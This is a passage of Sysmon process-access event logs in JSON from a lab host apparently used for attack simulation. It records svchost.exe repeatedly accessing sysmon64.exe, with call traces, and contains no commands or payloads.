C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.737\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.737","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 